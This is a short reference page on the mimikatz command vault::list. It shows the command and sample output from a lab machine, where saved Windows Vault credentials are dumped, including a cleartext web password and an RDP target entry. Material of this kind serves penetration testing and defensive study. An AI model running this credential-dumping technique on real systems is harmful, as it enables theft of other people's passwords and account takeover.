list
vault::list lists saved credentials in the Windows Vault such as scheduled tasks, RDP, Internet Explorer for the current user. More information can be found at Benjamin's guide howto-~-scheduled-tasks-credentials.
1
mimikatz # vault::list
2
​
3
Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
4
Name : Web Credentials
5
Path : C:\Users\m3g9tr0n\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
6
Items (1)
7
0. Internet Explorer
8
Type : {3ccd5499-87a8-4b10-a215-608888dd3b55}
9
LastWritten : 13/12/2021 21:33:59
10
Flags : 00000400
11
Ressource : [STRING] https://login.live.com/
12
Identity : [STRING] [email protected]
13
Authenticator :
14
PackageSid :
15
*Authenticator* : [STRING] MySuperDuperPass
16
​
17
Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
18
Name : Windows Credentials
19
Path : C:\Users\m3g9tr0n\AppData\Local\Microsoft\Vault
20
Items (1)
21
0. (null)
22
Type : {3e0e35be-1b77-43e7-b873-aed901b6275b}
23
LastWritten : 12/12/2021 00:39:57
24
Flags : 00000000
25
Ressource : [STRING] Domain:target=TERMSRV/192.168.0.224
26
Identity : [STRING] hacklab\m3g9tr0n
27
Authenticator :
28
PackageSid :
29
*Authenticator* : [BYTE*]
30
​
31
*** Domain Password ***
Copied!
Copy link